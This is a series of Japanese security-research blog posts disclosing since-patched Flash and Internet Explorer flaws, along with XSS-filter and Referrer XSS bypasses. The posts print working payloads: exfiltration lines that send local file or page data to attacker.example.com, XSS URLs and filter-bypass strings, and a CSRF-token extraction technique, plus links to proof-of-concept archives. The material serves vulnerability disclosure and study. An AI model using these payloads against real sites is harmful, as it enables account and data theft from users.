2014/12/10

Flashのlocal-with-filesystem Sandboxのバイパス


この記事は 脆弱性"&'<<>\ Advent Calendar 2014 10日目の記事です!

発見したFlashのlocal-with-filesystem Sandboxをバイパスできた複数の脆弱性(CVE-2014-0534, CVE-2014-0537 か CVE-2014-0539, CVE-2014-0554)について書きます。

CVE-2014-0534
http://helpx.adobe.com/security/products/flash-player/apsb14-16.html

CVE-2014-0537 か CVE-2014-0539 (※どちらかのCVEがこのバグだけど片方は無関係の別のバグ、区別がつかない…)
http://helpx.adobe.com/security/products/flash-player/apsb14-17.html

CVE-2014-0554
http://helpx.adobe.com/security/products/flash-player/apsb14-21.html

local-with-filesystem Sandboxとは


ローカルで動くFlashのセキュリティ制限のタイプの1つです。local-with-filesystem Sandboxで動くFlashは、ローカルに保存したデータにはアクセスできるけど、ネットワーク通信はできないという制限で動きます。これにより、ローカルのデータを処理しながら、外部にはそのデータを送信されないような制限で安全にアプリを動かすことができるという話みたいです。詳しくは、Adobeのドキュメント(http://help.adobe.com/ja_JP/ActionScript/3.0_ProgrammingAS3/WS5b3ccc516d4fbf351e63e3d118a9b90204-7e3f.html)を参照。

(ちなみに、ブラウザによってははじめからローカルのhtmlを開いたときにこの制限以上のことができるものもあります。そういうブラウザははじめから問題にならないと考えていいでしょう。詳しくは  ローカルのHTMLファイルからどこまで読み取れるか選手権 2011 - 金利0無利息キャッシング – キャッシングできます - subtech を参照。)

今回はこのFlashが意図している制限を超えて、ネットワーク上にローカルファイルのデータを渡すことがバイパスのミッションです。

【方法1】 window.nameを使う( CVE-2014-0534 その1 )


以下のような方法で、ローカルファイルを外部へ送信できていました。


[手順]------------------------------
1. 細工したSWFファイルをローカルで開く。

2. パスが既知のローカルファイルのデータをURLLoader()で取得。

3. navigateToURL()の第1引数にローカルに持たせたHTMLのファイル、第2引数に取得したデータを渡す。(第1引数 = リダイレクト先、 第2引数 = ウインドウの名前)

4. リダイレクト後のローカルのHTMLから攻撃者のサイトにとばしてwindow.nameを取得すればデータの取得完了。
----------------------------------------

単純ですが、これでできていました。
local-with-filesystem Sandboxの下では、直接httpなURLにナビゲーションできないので、一度ローカルに保存させた細工したHTMLに飛ばしています。修正後は、名前付きのウインドウはFlash側がランダムにつけた別の名前に上書きされるようになりました。

ちなみに、ローカルファイルのURLの部分に「?」や「#」つけてデータ渡せば?っていう発想もあると思うんですが、リダイレクト時に「?」や「#」以降の文字列を削除しているようで、これは無理でした。

PoCはこちら:
http://l0.cm/file/bug2_localsandbox_bypass.zip
(localsandbox_LOCAL_WITH_FILE_bypass2.swf を開くと、そこから「../secret/secret.txt」の位置にあるテキストデータを取得しようとします。)

【方法2】 ショートカットファイル *.urlを使う( CVE-2014-0534 その2 )


これは、ローカルファイルを取得する話ではないのですが、バグを使ってローカルファイルから任意のネットワーク上のデータを取得して、それを【方法1】で紹介したようにwindow.nameを経由して攻撃者のサイトへ送信するというものです。

ローカルファイルからネットワーク上のデータの取得もlocal-with-filesystem Sandboxの下では制限されていますが、Firefoxだけは、Windowsの「.url」形式のショートカットファイルに対して、URLLoader()を使うと、ショートカットファイルが指すネットワーク上のデータを取得できていました。例えば、ショートカットファイルが「https://www.google.com/」を指していれば、Googleのレスポンスbodyが取得できていました。
ここで取得したデータを【方法1】と同じようにwindow.nameで渡せばゲット完了です。

PoCはこちら:
http://l0.cm/file/bug1_localsandbox_bypass.zip
(localsandbox_LOCAL_WITH_FILE_bypass.swf を開くと、Googleのトップページのレスポンスbodyを取得し、外部に送信しようとします。)

【方法3】 「feed:」「pcast:」プロトコルを使う( CVE-2014-0537 か CVE-2014-0539 )


これもローカルファイルからネットワーク上のデータをゲットする話です。

Firefoxだけ、ローカルファイルから以下のようなURLに対しURLLoader()を使うと、ネットワーク上のデータを取得できていました。

feed:https://www.google.com/
pcast:https://www.google.com/

取得したデータは、これまた先頭にfeed: か pcast:をつけたURLに対してsendToURL()等を使い、http:なURLへの通信制限をバイパスすることで送信します。
sendToURL("feed:http://attacker.example.com/?"+data);
過去には、Billy Rios氏の記事( http://xs-sniper.com/blog/2011/01/04/bypassing-flash%E2%80%99s-local-with-filesystem-sandbox/ )にあるように、mhtml: スキームでバイパスできたという話もありましたが、今でもブラックリスト的に制限していたのですね。

PoCはこちら:
http://l0.cm/file/localsandbox_bypass_with_feed_and_pcast.zip
(SWFを開くと、Googleのトップページのレスポンスbodyを取得し、外部に送信しようとします。)

【方法4】 URLにデータを含める(CVEなし)


@BugRoast 氏が発見した以下の方法を参考にして発見しました。

#2140 Flash local-with-fileaccess Sandbox Bypass - HackerOne
https://hackerone.com/reports/2140

彼の手法はこういうことだと思います。

[手順]------------------------------
1. パスが既知のローカルファイルのデータをURLLoader()で取得し、そのデータを2進数変換。

2. そのデータをファイルパスの区切り部分に 1= %2F、 0 = %5Cのようにして重ね、罠HTMLのファイルにnavigateToURL()する。

以下のようなかんじにするということです。

file:///C:/path/%2F%5C%5C%5C%5C%5C%5C%2FPoC.html

これはfile: のURLとして問題なくアクセス可能です。

3. リダイレクト後にパスに含まれた「%2F」「%5C」を変換してテキストを取り出す。

%2F%5C%5C%5C%5C%5C%5C%2F
10000001

A
----------------------------------------

めっちゃおもしろいですね。【方法1】で言ったように、URLの「?」や「#」以降に文字を渡せないので、それをバイパスするためにこんなことをしている訳です。修正後はリダイレクト後のURLを正規化して、余分な「%2F」「%5C」を取り除くことで対策したようです。
この手法を見て、他にも似た方法がありそうだな、と思って考えていたところ、思いついたのが以下のような手法です。

file:///C:/path/PoC.html.%20%20%20%20%20%20.

Windowsではファイル名のあとに「.」と「スペース」を重ねることが許されるようなので、これを同じように、

.%20%20%20%20%20%20.
10000001

A

というようにして取得するというものです。
また、Windowsではファイル名の大文字小文字は区別なくアクセスできるので、大文字 =0、 小文字=1 みたいに変換してリダイレクトするというのもできました。

file:///C:/path/aAAAAAAa.html

aAAAAAAa
10000001
A

この問題に気が付いた後に、もっと根本的な問題に気が付いたので、これに対してだけの修正がリリースされることはありませんでした。

【方法5】 リダイレクトを受けたファイルから情報を取得する( CVE-2014-0554 )


ここにきて、別のローカルファイルへのリダイレクトを許しているのが、根本的に危険な動作なんじゃないのかということに気が付きました。

リダイレクトさえできれば以下のようなことができてしまいます。

[手順]------------------------------
1. パスが既知のローカルファイルのデータをURLLoader()で取得し、データから1バイト取得。

2. 取得したバイトデータにあわせて、以下のように準備した、細工したHTMLへリダイレクトする。(「A」なら「41.html」にリダイレクトする。)



3. localStorageなどにリダイレクトを受けたHTMLの名前を保存しておき、次のバイトを見る。最後のバイトまで1~3の手順を繰り返す。

4. 全部取得できたら攻撃者のサイトにリダイレクトしてデータを飛ばす。

----------------------------------------

ローカルのファイルが存在すればリダイレクトに成功するので、URLに細かくデータを含めたりしなくてもどこにリダイレクトしたかでデータを判定すればいいじゃないかということです。

PoCはこちら:
http://l0.cm/file/localsandbox_bypass_with_redirect.zip
(「!!PoC.html」 を開くと、そこから「../secret/secret.txt」の位置にあるテキストデータを取得しようとします。)

どうやって対策するんだろう、と思っていましたが、ここまできてAdobeもローカルファイルへのリダイレクト自体が危険だということに気が付いたのか、ついにリダイレクト時に以下のような警告を出すようになりました。



これにより、自分から警告より先に行かなければローカルファイルを開いただけで別のローカルファイルが漏れることはなくなりました。

はい、こんなかんじでした。僕もAdobeも根本的な問題に気が付くのがちょっと遅かったですね。

FlashがWebの制限と共存するために、どういうバランスの保ち方をしているのかを見てみると、意外な方法でやっているのが見えてきたりして楽しいですね。大抵それはうまくいっていないか、かなり危なっかしいです。

ついでにおまけ( SECCONのXSS Bonsai (aka. Hakoniwa XSS Reloaded) のwriteup )


盆栽XSSを1番に解いたmkっていう人の盆栽のwriteupっぽいものをみつけました!

http://pastebin.com/FAErAd7V


脆弱性"&'<<>\ Advent Calendar 2014 、明日は@yousukezanさんが担当するみたいです!

2014/11/02

CVE-2013-3908: IEの印刷プレビュー時に発生する情報漏えい

Internet Explorerで細工したページに対し印刷プレビューを実行すると、ページ内の情報が外部に漏えいする場合があった脆弱性について書きます。本問題は、Microsoft提供の更新プログラムにより現在は修正されています。
この問題は、Microsoftが2013年の6-7月に30日間限定で実施したIE11 Previewの脆弱性報酬制度を通じて報告したものです。その後、報酬対象として受理され、$1,100を頂きました。

報酬は次のようなデビットカードで支払われました。

カード右上の金額が$2,200 になっているのは、もう1つ別の報告も報酬対象と受理されたためです。

ちなみに、このことがITmediaに取り上げられ、一部セキュリティ界隈で面白がられている、「日本人と思われるキヌガワマサト氏」という名言が生まれました。

Microsoft、IE 11の脆弱性情報に総額2万8000ドルの賞金贈呈 - ITmedia ニュース
http://www.itmedia.co.jp/news/articles/1310/08/news043.html
また、日本人と思われる「キヌガワ・マサト」氏は2件の脆弱性を報告して2200ドルを進呈されている。

さらに、"日頃より、数々の重要な脆弱性のご報告をいただき、弊社に多大なご協力を頂い"たらしいので、特別な報酬として、「XBOX 360本体1台、XBOXのゲームソフト2本(HALO 4 、Gears of War)、Xbox Liveゴールドメンバーシップ(12ヵ月)」も頂きました。ありがとうございます。

報告後しばらくして、MS13-088で修正されました。

http://technet.microsoft.com/ja-jp/security/bulletin/ms13-088
Internet Explorer の情報漏えいの脆弱性 (CVE-2013-3908) を報告してくださった Masato Kinugawa 氏
2013年11月の修正ですが、関連する問題を報告したのはもっと前だったりします。
2012年の3月頃から、次のようなやりとりがありました。

タイムライン


2012/3/12IE9(当時最新)まで影響する印刷プレビューの脆弱性を報告 - 【問題1】
2012/3/23影響が限定的なため、パッチは提供せず次期バージョンのIE(10)で対応するとの回答をもらう
(IE10リリース後、確かに修正されていることを確認)
2012/12/26IEの文字コードに関する問題を報告 - 【問題2】
2013/7/19上記の文字コードに関する問題を利用すると、IE11 Previewでも、印刷プレビュー時に情報漏えいの問題を発生させることを確認(この時、IE11の報酬制度を実施中だった) - 【問題3】
2013/8/14印刷プレビューの問題が報酬対象と判断される
2013/11/13MS13-088として更新プログラムが公開される(この更新は、印刷プレビューのページを文字コードに関する問題の影響を受けないように変更するもので、文字コードに関する問題自体は修正されなかった。ついでにIE9以下でも【問題1】のバックポートが行われる。)
2013/11/18文字コードに関する問題については影響度が低いので即時修正は行わないとの回答をもらう

まとめると、昔に今回の問題とは関係ない印刷プレビューの脆弱性を報告したけど、次期IEで直すと返事をもらって、確かに次期IEでは直ったけど、別に発見した文字コードの問題と組み合わせるとまだIE11 Previewでも問題が起きるのに気付いて、それで報酬をもらったという話ですね。

それでは、順番に、どんな問題だったか紹介していきます。

【問題1】最初の報告(2012年3月)


印刷プレビュー時にIEは独自のHTMLを生成していて、印刷プレビュー対象のURLからbaseタグのhrefを作り、ドキュメントの先頭の方に埋め込んでいるのですが、この部分で単純に「"<>」などの記号を未処理のまま書き出していました。
例えば、次のようなURLを印刷プレビューで表示すると、印刷プレビュー時に生成されるHTML中でbaseタグのhref属性の引用符が途中で区切られ、xmpタグが有効となり、HTMLソースを印刷プレビューするような状態になります。

http://www.microsoft.com/en-us/default.aspx?"><xmp>

言わばXSS脆弱性がなかったページにXSS脆弱性がうまれてしまったようなもので、明らかにマズそうですが、印刷プレビューのページではJavaScriptは動作しないようなので、典型的なXSS攻撃のように、JavaScriptを使って外部のサーバに情報を送ることはできません。しかし、imgタグなら読み込めるようです。勘がいい人はもう悪用できる可能性に気付いたかもしれません。

次のようなページがあるとします。

http://vulnerabledoma.in/security/search?q=123

qパラメータに入れた値が、検索ボックスに出力されるようなページです。ページ自体にXSS脆弱性はありません。ページの先頭から検索ボックスの間に、 ログインしていることを意味するメールアドレスが表示されている状態を想定しています。

この条件で、印刷プレビューのバグを悪用してみます。
以下のようにURLを細工して印刷プレビューを実行すれば、メールアドレスを含むページ内の情報が、外部のサーバに送られてしまいます。

http://vulnerabledoma.in/security/search?q=123'&"><img/src='http://attacker.example.com/

これは、印刷プレビュー時に生成されるHTMLが次のようになるからです。黄色部分がimgのsrcとして読み込まれる箇所です。
(先頭省略)
<BASE
HREF="http://vulnerabledoma.in/security/search?q=123'&amp;"><img/src='http://attacker.example.com/"><STYLE> HTML { font-family : "Times New Roman" } </STYLE> <META charset="utf-8"> </HEAD> <BODY><P>LoginID:example@example.com</P><FORM action="" method="get">SearchBox:<INPUT name="q" type="text" value="123'"> <INPUT type="submit" value="submit">
</FORM></BODY></HTML>
画像が読み込まれると、attacker.example.comに向けて、次のリクエストが発生します。赤字部分のように、メールアドレスが含まれています。

http://attacker.example.com/%22%3E%3CSTYLE%3E%20HTML%20%7B%20font-family%20:%20%22Times%20New%20Roman%22%20%7D%20%3C/STYLE%3E%3CMETA%20charset=utf-8%3E%3C/HEAD%3E%3CBODY%3E%3CP%3ELoginID:example@example.com%3C/P%3E%3CFORM%20method=get%20action=%22%22%3ESearchBox:%3CINPUT%20name=q%20value=%22123


IEでは印刷プレビューをユーザ操作なしに実行することは通常できないので、攻撃するには、細工したページに対して印刷プレビューを実行するようターゲットを誘導しなければいけません。このあたりの悪用の難しさからか、影響は小さいと判断され、報告を行った時点で最新のIE9では修正せず、次のIE10で修正するという返事をもらいました。(※のちにIE9以下でも修正されることになります。)

【問題2】文字コードの問題(2012年12月)


この問題、一言で言うと、charset指定のタグがどこで効くかという話です。最近、この問題を使ったXSSチャレンジも公開されており、非公開にする必要もないと思いますので、取り上げます。

次のようなHTMLがある時、どのcharsetでページが表示されるでしょうか。(HTTPレスポンスヘッダにはcharset指定がないとします。)

http://l0.cm/charset.html
<html>
<head>
<meta test="<meta charset=big5>">
<script>
var x="<meta charset=koi8-r>";
</script>
<meta charset=utf-8>
</head>
<body>
<meta charset=iso-8859-1>
<button onclick="func()">charset is</button>
<script>
function func(){
  alert(document.charset||document.characterSet);
}
</script>
</body>
</html>

当然、UTF-8でしょうか?

Chrome/SafariはUTF-8を選択します。ところが、FirefoxはKOI8-R、IEはBig5を選択します。

細かい挙動については個別にみて頂くとして、ここで言いたいのは、本来のcharset指定より前にcharset指定らしき文字列が置けてしまうと、ブラウザによっては、属性部分やJavaScriptの文字列リテラル部分にあるそれらしき文字列でも、charsetの決定に使ってしまう場合があるということです。

本題のCVE-2013-3908は、IEのこの挙動を利用します。

【問題3】文字コードの問題×印刷プレビュー = 情報漏えい(CVE-2013-3908)


報酬を得た問題です。
IE11 Previewの印刷プレビュー時のHTMLソースをみてみましょう。

http://vulnerabledoma.in/security/search2?q=123"<>
<!DOCTYPE HTML>
<!DOCTYPE html PUBLIC "" ""><HTML
__IE_DisplayURL="http://vulnerabledoma.in/security/search2?q=123&quot;<>"><HEAD><META
content="IE=11.0000" http-equiv="X-UA-Compatible">
<META content="text/html; charset=iso-8859-1" http-equiv=Content-Type>
<BASE HREF="http://vulnerabledoma.in/security/search2?q=123&quot;<>">
<STYLE> HTML { font-family : "Times New Roman" } </STYLE> <META
charset="iso-8859-1">
</HEAD> <BODY><P>LoginID:example@example.com</P><FORM action=""
method="get">
SearchBox:<INPUT name="q" type="text" value="123&quot;&lt;&gt;"> <INPUT type="submit"
value="submit">
</FORM></BODY></HTML>
ごちゃごちゃしていますが、注目してほしいのは赤字の2箇所だけです。
最初にでてくるcharset指定(2番目の赤字)よりも前に__IE_DisplayURL という謎属性の部分に、<> がそのまま入っています(1番目の赤字)。

先ほどの文字コードの問題を思い出してください。この配置、何かが起こりそうではないですか?!
うまくいくか、やってみましょう。

http://vulnerabledoma.in/security/search2?q=123'&<meta charset=utf-7>+ACIAPgA8A-img/src='http://attacker.example.com/
<!DOCTYPE HTML>
<!DOCTYPE html PUBLIC "" ""><HTML
__IE_DisplayURL="http://vulnerabledoma.in/security/search2?q=123'&amp;<meta charset=utf-7>+ACIAPgA8A-img/src='http://attacker.example.com/"><HEAD><META
content="IE=11.0000" http-equiv="X-UA-Compatible">
<META content="text/html; charset=iso-8859-1" http-equiv=Content-Type>
<BASE HREF="http://vulnerabledoma.in/security/search2?q=123'&amp;<meta
charset=utf-7>+ACIAPgA8A-img/src='http://attacker.example.com/"><STYLE> HTML { font-family : "Times New Roman" } </STYLE> <METAcharset="iso-8859-1"></HEAD> <BODY><P>LoginID:example@example.com</P><FORM action=""method="get">SearchBox:<INPUT name="q" type="text" value="123'"> <INPUT type="submit"
value="submit">
</FORM></BODY></HTML>
こちらも、注目すべき箇所は3箇所だけです。
赤字が実際に有効になるcharset指定です。前述の文字コードの選択の問題により、属性中でもこれがcharset指定と判断されてしまいます。これで、印刷プレビューページのcharsetは本来ページに指定されていたiso-8859-1から、UTF-7になります。
青字の「+ACIAPgA8A-」をUTF-7から戻すと、 ">< になります。これは、「"」を使わずに属性の引用符から脱出するために使っています。
脱出後、imgタグを作り、攻撃者のサイトに機密情報(今回はメールアドレス)を含むリクエストをとばすようにします。黄色部分が画像として読み込まれる部分です。うまくいきました!

やれることは地味ですが、charset指定の問題が発生する配置のドキュメントをIEの印刷プレビュー機能が偶然作っていたためにこのような問題を起こせてしまったというのがなんとも面白いです。その辺りの面白さも含めて、Microsoftは報酬対象と判断してくれたのではないでしょうか。

この問題に対するMS13-088の修正は、印刷プレビューページの構造をcharsetの問題の影響を受けないように変更するもので、charset指定の選択の挙動自体は変更されませんでした。このように、不意に問題が起きる場合があることを身を持って体験しながら、根本原因を改善しなかったのはちょっと残念ですね。

ちなみにこの問題、ページのエンコーディングがUTF-8だった場合は利用できませんでした。印刷プレビューのドキュメントの一番先頭にUTF-8 のBOMが挿入されるようになっていたためです。BOMの優先度は高いので、UTF-8の表示が強制されます。

先ほどのページでも、BOMを挿入すると、IE/FirefoxどちらもUTF-8が必ず選択されるようになります。
http://l0.cm/charset_bom.html


以上が、一連の報告の流れでした。

【おまけ】書いてて気付いた問題( mXSS + 印刷プレビュー = 情報漏えい)


些細な問題ですが、この記事を書いている最中に気付いてしまいました。以下に紹介するものは今も再現します。
印刷プレビューのHTMLをみていると、innerHTMLへの代入後のような文字列でページが構成されていることに気付きます。印刷プレビューは、JavaScriptで動的にページを書き換えたあとの状態や入力された文字列もページに書き出すので、バックでinnerHTMLへの代入相当の、ページ全体に対するコピー処理が行われている、ということだと思います。

はせがわようすけさんの記事「教科書に載らないWebアプリケーションセキュリティ(1):[これはひどい]IEの引用符の解釈 (3/3) - @IT」にもあるように、過去にIEの印刷プレビューでは「`」の扱いがおかしかったりしていますし、このinnerHTMLへの代入相当の処理で、いわゆるmXSSの挙動の影響を受けるのではないかと考えました。(mXSSについては、はせがわさんのブログ記事「mXSS - Mutation-based Cross-Site-Scripting のはなし - 葉っぱ日記」を参考にしてください。)

そこで、Gareth Heys氏のブログで紹介されている、mXSSが起こりうる次のようなコードに対して印刷プレビューを実行してみました。

http://l0.cm/ie_printpreview_mxss.html
<meta http-equiv="X-UA-Compatible" content="IE=9">
<script>
x="<%";
</script>
<div title="%&gt;&lt;/script&gt;&lt;h1&gt;mXSS"></div>

印刷プレビューの表示は、IE11でも以下のようになります。



思った通り、title属性を抜けて、mXSSという文字列がページに出現しています。
問題になる条件は限られますが、これはダメですね…。


参考資料:

印刷プレビュー時のHTMLソースの見方は以下のブログを参考にさせて頂きました。

IEで表示中のアクティブなHTMLソース: Windows Script Programming
http://scripting.cocolog-nifty.com/blog/2010/08/iehtml-2d4b.html

2014/10/02

ブラウザのXSS保護機能をバイパスする(5)

先月に続いてIEのXSSフィルターをバイパスする記事です。
今回は、ブラウザのXSS保護機能をバイパスする(2) の応用を思いついたので紹介したいと思います。

ブラウザのXSS保護機能をバイパスする(2) で紹介した手法は、シンプルな反射型XSSが存在するとき、以下のような条件でIEのXSSフィルターをバイパスできることを示すものでした。

・レスポンスヘッダにX-XSS-Protection:1 または X-XSS-Protectionの指定なし
・Content-Typeレスポンスヘッダにcharset指定がない
・<meta http-equiv=> でcharset指定をしている

この記事を書いた段階では、<meta http-equiv=> でcharset指定をしている場合しかバイパスできないと考えていましたが、最近、<meta charset=> でcharset指定がある場合でもバイパスできることがわかりました。以下にその方法を示します。

次のようなページがあるとします。

 http://vulnerabledoma.in/xssable2?q=%3Cs%3EXSS_HERE
<html>
<head>
<meta charset="utf-8">
<title>XSS TEST</title>
</head>
<body>
<h1>XSS TEST</h1>
<s>XSS_HERE
</body>
</html>
<meta charset=>でcharset指定があり、シンプルなXSSがあるページです。
この条件でXSSフィルターをバイパスしてみます。

こうです:

http://vulnerabledoma.in/xssable2?q=http-equiv=%20%3Cmeta%20charset=utf-7%3E%3Cimg%20src=x%20o%2BA-nerror=alert%281%29%3E&%3Cmeta%20charset%3D%22utf-8%22%3E%0A%3Ctitle%3EXSS%20TEST%3C%2Ftitle%3E%0A%3C%2Fhead%3E%0A%3Cbody%3E%0A%3Ch1%3EXSS%20TEST%3C%2Fh1%3E%0Ahttp-equiv%3D


IEでアクセスすると、アラートが動作するのが確認できると思います。

IEのXSSフィルターがどんな文字列に反応して<meta>タグを破壊しているのかに着目すると、この手法が見えてきます。
破壊するのは、"<meta" と "http-equiv=" がセットになってあるときです。これまで、<meta charset=>をURLに含んでも破壊してくれなかったのは、 "http-equiv=" という文字列が含まれていなかったからです。
じゃあ、これらがセットで存在しているようにみせかければ、<meta charset=>のmetaだって破壊してくれるのでは、と考えて試したところうまくいったのが今回の手法です。以下の色を付けた部分のように、"<meta charset="から "http-equiv=" がひとつなぎであるかのようにみせかけて、XSSフィルターを反応させます。


http://vulnerabledoma.in/xssable2?q=http-equiv=%20%3Cmeta%20charset=utf-7%3E%3Cimg%20src=x%20o%2BA-nerror=alert%281%29%3E&%3Cmeta%20charset%3D%22utf-8%22%3E%0A%3Ctitle%3EXSS%20TEST%3C%2Ftitle%3E%0A%3C%2Fhead%3E%0A%3Cbody%3E%0A%3Ch1%3EXSS%20TEST%3C%2Fh1%3E%0Ahttp-equiv%3D
<html>
<head>
<meta charset="utf-8">
<title>XSS TEST</title>
</head>
<body>
<h1>XSS TEST</h1>
http-equiv=
<meta charset=utf-7><img src=x o+A-nerror=alert(1)>
</body>
</html>

 これで既存のcharset指定のmetaタグはme#aのように破壊され、charset指定がない状態になります。
 あとは、以前の手法と同じことをすればいいです。僕が過去にまとめた、 タグ中で無視されるバイト値が出現するもの一覧 を参考にしながらIEが無視してくれるバイト値をもったエンコーディングを使って、XSSフィルターが反応する文字列の間に無視されるバイト値を挟んでしまえば完了です。


以上です。面白いでしょ?我ながら面白い手法だと思いますね!

2014/09/22

ブラウザのXSS保護機能をバイパスする(4)

また最近IEのXSSフィルターのバイパスに挑戦してみました。
いくつか面白い隙をみつけたので紹介します。

今回は文字列リテラルでのXSSに対する検知をバイパスします。

1. onerrorとthrowを使ってXSSする

以前Gareth Heyes氏が紹介していた、onerrorとthrowの手法を使うと、XSSフィルターをバイパスできることに気が付きました。

XSS technique without parentheses
http://www.thespanner.co.uk/2012/05/01/xss-technique-without-parentheses/

Win7 IE9(ドキュメントモードがIE9)で有効です。IE10以降では改善され、"[JavaScriptの区切り]onerror= がフィルタ対象になっているようです。

http://vulnerabledoma.in/xssfilter_bypass?q="%3Bonerror=eval%3Bthrow'alert\x281\x29'//
";onerror=eval;throw'alert\x281\x29'//
これでIEのXSSフィルターがバイパスできるという言及はみたことがないので紹介してみます。

2. id/name付きリンクを変更してXSSする

Win8.1 IE11で確認しました。ドキュメントモードがIE8以下である場合のみ有効です。

http://vulnerabledoma.in/xssfilter_bypass2?q="%3Blink='javascript'%2B':alert\x281\x29'//
";link='javascript'+':alert\x281\x29'//

ドキュメントモードがIE8以下だと、anchor_name = url という形でhrefに代入できます。これを利用して、ページ内にid/name付き<a>タグがあるとき、リンクをjavascript: なものに書き換えることでXSSします。

XSSフィルターは ";x.x= みたいなドット付きの代入式らしきものには反応しますが、ドットなしの ";xxx= みたいなのには反応しないことを利用しています。

3. 三項演算子とインクリメント/デクリメントを使ったデータの読み出し

今回イチオシの手法です。

以下のように、文字列リテラルにXSSがある箇所より前に、CSRF対策用tokenが埋め込まれているとします。このtokenは、10ケタの[a-f0-9]の値が設定されることがわかっているとします。

http://vulnerabledoma.in/xssfilter_bypass3?q=[XSS_HERE]
<form name=form>
<input type=hidden name=token value=f9d150048b>
</form>
<script>var q="[XSS_HERE]"</script>

この条件で、XSSフィルターをバイパスしながらtokenの値を読み出すことができることを示します。
以下がPoCです。IEでgoボタンを押してしばらく待つと、tokenの値が外部サイトに表示されるのが確認できるはずです。

http://l0.cm/xssfilter_bypass/

次のような試行を繰り返すことで中身を少しずつ取得しています。
";"0"==form.token.value[0]?top.t.location.search--:top.f.location.search--//
";"1"==form.token.value[0]?top.t.location.search--:top.f.location.search--//
";"2"==form.token.value[0]?top.t.location.search--:top.f.location.search--//
...

()は検知されるのでif()の代わりに三項演算子を使い、=を使った代入は検知されるので--でlocation.searchをデクリメントすることでリダイレクトを起こします。onloadイベントが起きたフレームを攻撃者が用意したサイト側から確認することで、true/falseを判断します。

余談ですが、最初、window.nameをインクリメント/デクリメントして、その結果からデータを読み出す方法を試したのですが、IEはwindow.nameの設定に関して他のブラウザとは異なる挙動があったので、うまくいきませんでした。

一応試したものを載せておきます。FirefoxやChromeではうまく動きますが、IEでは動きません。
http://l0.cm/xssfilter_bypass/name.html

つい最近の思い付きなので、まだ改良の余地があるかと思います。
とりあえず、この例のように、読み出したい対象のフォーマットが決まっていて長さ・文字種もほどほどな場合は割と現実的な時間で読み出せるよね、ということを示してみました。これをXSSフィルター側で検知しようとするなら、 文字列リテラルを区切るような文字列のあとに、location とかlocation.* をインクリメント・デクリメントするような文字列が現れたら検知すればいいんでしょうかね。

はい!以上です。
IEのXSSフィルター、固いですが、誤検知との兼ね合いからどうしても小さな隙がありますね。そこをつつくのが面白いっす。

2014/06/30

Referrer文字列によるXSS part2

以前、Referrer文字列を使ったXSSはIEだけでなくChromeやSafariでもできるということを以下の記事で紹介しました。

 http://masatokinugawa.l0.cm/2013/10/referrer-xss.html

が、その後のブラウザのアップデートで、紹介したdata: URLからReferrerをつける手法は使えなくなってしまいました。現在は、data: URLに<meta name="referrer" content="always">指定があっても、Referrerを送信しないように変わったようです。

ということで今回は、今も使える別のReferrerによるXSS手法を紹介したいと思います。
Safari( 最新の7.0.4で確認 )のみ動作します。以前はChromeでも動いていたのですが、33あたりから使えなくなりました。

以下からSafariでどうぞ:
http://l0.cm/xss_blob_and_referrer/

以下のようなコードで実現しています。
<meta name="referrer" content="always">
<script>
history.replaceState('','','blob:http://l0.cm/<script>alert(1)<\/script>');
location.href="http://vulnerabledoma.in/location/"
</script>
Safariでは、<meta name="referrer" content="always">が書かれたページで、history.replaceState() を使ってblob: を先頭につけたURLへ自身のURLを変更したあとにリダイレクトすると、blob: URLをReferrerに含めることができるようです。blob: URLでは、パス以降にエンコードせずに <> などの文字列を保持できるようなので、history.replaceState()する際にパス部分などにスクリプトを書いたものを含めておけば、Referrerを経由したXSSが可能です。

http:// から blob:http://[同一ドメイン]/ なURLにhistory.replaceState()できるのがちょっと驚きですよね。Chrome/Safariはできるみたいです。また、Chromeは filesystem:http://[同一ドメイン]/path みたいなURLにもhistory.replaceState() できるようです→ TEST

URLを変更できるのは同一ドメインから生成されたように見えるblob:やfilesystem:のみなので、今すぐ危険なかんじはしませんが、想定した動作なんですかね。

以上、XSS小ネタでした。

追記
Safari(7.0.4)でdata: URLからReferrer使ったXSSがまだ動作するというご報告を受け、確認したところまだ動作しますね。勘違いしていました。
まあ、blob: でもできるよということで。

2014/9/22 追記
Safari(7.1)で確認したところ、動かなくなりました。

2014/05/30

CVE-2014-0509: 上位サロゲートを使ったFlashのXSS

Flashの文字列処理の方法が適切でないために、 適切にXSS対策が施されたFlashファイル上でもXSSを引き起こせる場合があった問題について書きます。
この問題は以下に掲載されているように、 2014年4月のFlash Playerのアップデートで修正されました。

http://helpx.adobe.com/security/products/flash-player/apsb14-09.html
These updates resolve a cross-site-scripting vulnerability (CVE-2014-0509).

本問題は、 このブログでも何度か取り上げた ExternalInterface.call() の問題に関係するものです。取り上げたのはこの辺の記事です:
ExternalInterface.call()の問題を知らない人は、先にこれらの記事をみておくと理解しやすいかもしれません。

問題の詳細

次のようなコードが、この問題の影響を受けます。

http://vulnerabledoma.in/surrogate_xss.as
...
var q:String=loaderInfo.parameters["q"].split("\\").join("\\\\"); ExternalInterface.call("console.log",q);
...
前半でqパラメータ中に含まれる「\」を split("\\").join("\\\\") で置換して変数に代入後、その変数をExternalInterface.call()の第2引数に渡しています。
この方法はExternalInterface.call() のバグの回避法として全く間違っていません。

ところが、次のような文字列を与えると、XSSが起きていました。

http://vulnerabledoma.in/surrogate_xss.swf?q=%ED%A0%80\"))}catch(e){alert(1)}//
 
注目すべきは先頭で与えた%ED%A0%80 です。%ED%A0%80 は上位サロゲート( サロゲートペアの前半バイト )にあたるコードポイント、 U+D800 を直接UTF-8エンコードした場合にできるバイト値です。Flashは、この上位サロゲートの扱いが適切でなく、任意の次の文字を潰してしまう( 正確には、後続の文字とくっついてU+FFFDを作ってしまう )挙動がありました。これが今回のバグです。

先ほどのSWFで、XSSが起こる流れは次のようなかんじです。

http://vulnerabledoma.in/surrogate_xss.swf?q=%ED%A0%80\"))}catch(e){alert(1)}//
// \が\\に置換されて U+D800\\"))}catch(e){alert(1)}// がqに代入される
// この場面では置換前から U+FFFD になっているとは考えないらしい
var q:String=loaderInfo.parameters["q"].split("\\").join("\\\\");

// console.logを引数qで呼び出す
ExternalInterface.call("console.log",q);

// FlashがJavaScript呼び出し時に生成するもの
// このとき、「"」はFlash側で「\"」にエスケープされる
// \自体はエスケープしてくれないので直前で\\にした訳だけど…あれ?
try{__flash__toXML(console.log("�\\"))}catch(e){alert(1)}//"));}catch (e){"<undefined/>"}

split("\\").join("\\\\") を使って置換するとき、置換前の段階では \はまだ喰われていないのか、ちゃんと\が置換されているところがキモです。 このせいで、のちのち喰われる場面にきたとき、不整合が起きます。

